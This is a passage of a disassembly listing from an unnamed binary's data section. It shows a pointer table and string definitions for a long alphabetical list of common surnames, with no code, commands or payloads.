		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay_0	; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .data:off_4453E0o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: .data:004453E4o
		align 4
aAdams		db 'Adams',0            ; DATA XREF: .data:004453E8o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: .data:off_4453ECo
aAdelstein	db 'Adelstein',0        ; DATA XREF: .data:004453F0o
		align 10h
aAdibe		db 'Adibe',0            ; DATA XREF: .data:004453F4o
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: .data:004453F8o
		align 10h
aAhlers		db 'Ahlers',0           ; DATA XREF: .data:004453FCo
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .data:00445400o
		align 10h
aAlcorn		db 'Alcorn',0           ; DATA XREF: .data:00445404o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .data:00445408o
		align 10h
aAleks		db 'Aleks',0            ; DATA XREF: .data:0044540Co
		align 4
aAllison	db 'Allison',0          ; DATA XREF: .data:00445410o
aAlongi		db 'Alongi',0           ; DATA XREF: .data:00445414o
		align 4
aAltavilla	db 'Altavilla',0        ; DATA XREF: .data:00445418o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .data:0044541Co
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .data:00445420o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: .data:00445424o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .data:00445428o
		align 10h
aAmeer		db 'Ameer',0            ; DATA XREF: .data:0044542Co
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .data:00445430o
		align 10h
aAnand		db 'Anand',0            ; DATA XREF: .data:00445434o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .data:00445438o
		align 10h
aAndo		db 'Ando',0             ; DATA XREF: .data:0044543Co
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: .data:00445440o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: .data:00445444o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .data:00445448o
		align 4
aAnsley		db 'Ansley',0           ; DATA XREF: .data:0044544Co
		align 10h
aAnthony	db 'Anthony',0          ; DATA XREF: .data:00445450o
aAntos		db 'Antos',0            ; DATA XREF: .data:00445454o
		align 10h
aArbia		db 'Arbia',0            ; DATA XREF: .data:00445458o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .data:0044545Co
aArellano	db 'Arellano',0         ; DATA XREF: .data:00445460o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: .data:00445464o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .data:00445468o
		align 10h
aArky		db 'Arky',0             ; DATA XREF: .data:0044546Co
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .data:00445470o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: .data:00445474o
		align 4
aAurelius	db 'Aurelius',0         ; DATA XREF: .data:00445478o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .data:0044547Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: .data:00445480o
		align 4
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .data:00445484o
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .data:00445488o
aAyling		db 'Ayling',0           ; DATA XREF: .data:0044548Co
		align 4
aAzima		db 'Azima',0            ; DATA XREF: .data:00445490o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .data:00445494o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .data:00445498o
		align 10h
aBady		db 'Bady',0             ; DATA XREF: .data:0044549Co
		align 4
aBaglivo	db 'Baglivo',0          ; DATA XREF: .data:004454A0o
aBagnold	db 'Bagnold',0          ; DATA XREF: .data:004454A4o
aBailar		db 'Bailar',0           ; DATA XREF: .data:004454A8o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .data:004454ACo
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: .data:004454B0o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .data:004454B4o
		align 10h
aBallew		db 'Ballew',0           ; DATA XREF: .data:004454B8o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: .data:004454BCo
		align 10h
aBanta		db 'Banta',0            ; DATA XREF: .data:004454C0o
		align 4
aBarabesi	db 'Barabesi',0         ; DATA XREF: .data:004454C4o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: .data:004454C8o
aBaranczak	db 'Baranczak',0        ; DATA XREF: .data:004454CCo
		align 4
aBaranowska	db 'Baranowska',0       ; DATA XREF: .data:004454D0o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: .data:004454D4o
aBarbetti	db 'Barbetti',0         ; DATA XREF: .data:004454D8o
		align 4
aBarneson	db 'Barneson',0         ; DATA XREF: .data:004454DCo
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: .data:004454E0o
aBarriola	db 'Barriola',0         ; DATA XREF: .data:004454E4o
		align 4
aBarry		db 'Barry',0            ; DATA XREF: .data:004454E8o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .data:004454ECo
aBartolome	db 'Bartolome',0        ; DATA XREF: .data:004454F0o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .data:004454F4o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: .data:004454F8o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .data:004454FCo
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: .data:00445500o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .data:00445504o
		align 10h
aBayles		db 'Bayles',0           ; DATA XREF: .data:00445508o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .data:0044550Co
		align 10h
aBeacon		db 'Beacon',0           ; DATA XREF: .data:00445510o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .data:00445514o
		align 10h
aBean		db 'Bean',0             ; DATA XREF: .data:00445518o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .data:0044551Co
aBeder		db 'Beder',0            ; DATA XREF: .data:00445520o
		align 4
aBedford	db 'Bedford',0          ; DATA XREF: .data:00445524o
aBehenna	db 'Behenna',0          ; DATA XREF: .data:00445528o
aBelanger	db 'Belanger',0         ; DATA XREF: .data:0044552Co
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .data:00445530o
		align 10h
aBelfer		db 'Belfer',0           ; DATA XREF: .data:00445534o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .data:00445538o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: .data:0044553Co
		align 4
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .data:00445540o
		align 10h
aBellini	db 'Bellini',0          ; DATA XREF: .data:00445544o
aBelloc		db 'Belloc',0           ; DATA XREF: .data:00445548o
		align 10h
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .data:0044554Co
		align 10h
aBergson	db 'Bergson',0          ; DATA XREF: .data:00445550o
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .data:00445554o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: .data:00445558o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .data:0044555Co
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: .data:00445560o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .data:00445564o
		align 4
aBetti		db 'Betti',0            ; DATA XREF: .data:00445568o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: .data:0044556Co
aBiagioli	db 'Biagioli',0         ; DATA XREF: .data:00445570o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .data:00445574o
		align 10h
aBinion		db 'Binion',0           ; DATA XREF: .data:00445578o
		align 4
aBir		db 'Bir',0              ; DATA XREF: .data:0044557Co
aBisema		db 'Bisema',0           ; DATA XREF: .data:00445580o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: .data:00445584o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .data:00445588o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: .data:0044558Co
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: .data:00445590o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .data:00445594o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .data:00445598o
		align 10h
aBliss		db 'Bliss',0            ; DATA XREF: .data:0044559Co
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .data:004455A0o
aBloch		db 'Bloch',0            ; DATA XREF: .data:004455A4o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .data:004455A8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .data:004455ACo
		align 10h
aBloxham	db 'Bloxham',0          ; DATA XREF: .data:004455B0o
aBlyth		db 'Blyth',0            ; DATA XREF: .data:004455B4o
		align 10h
aBolger		db 'Bolger',0           ; DATA XREF: .data:004455B8o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .data:004455BCo
		align 10h
aBollinger	db 'Bollinger',0        ; DATA XREF: .data:004455C0o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: .data:004455C4o
aBoner		db 'Boner',0            ; DATA XREF: .data:004455C8o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: .data:004455CCo
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .data:004455D0o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: .data:004455D4o
		align 4
aBook		db 'Book',0             ; DATA XREF: .data:004455D8o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .data:004455DCo
		align 10h
aBoone		db 'Boone',0            ; DATA XREF: .data:004455E0o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: .data:004455E4o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: .data:004455E8o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: .data:004455ECo
		align 4
aBossi		db 'Bossi',0            ; DATA XREF: .data:004455F0o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: .data:004455F4o
aBotosh		db 'Botosh',0           ; DATA XREF: .data:004455F8o
		align 4
aBoudin		db 'Boudin',0           ; DATA XREF: .data:004455FCo
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: .data:00445600o
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .data:00445604o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .data:00445608o
		align 10h
aBoxer		db 'Boxer',0            ; DATA XREF: .data:0044560Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: .data:00445610o
		align 4
aBoyes		db 'Boyes',0            ; DATA XREF: .data:00445614o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: .data:00445618o
aBoym		db 'Boym',0             ; DATA XREF: .data:0044561Co
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: .data:00445620o
		align 4
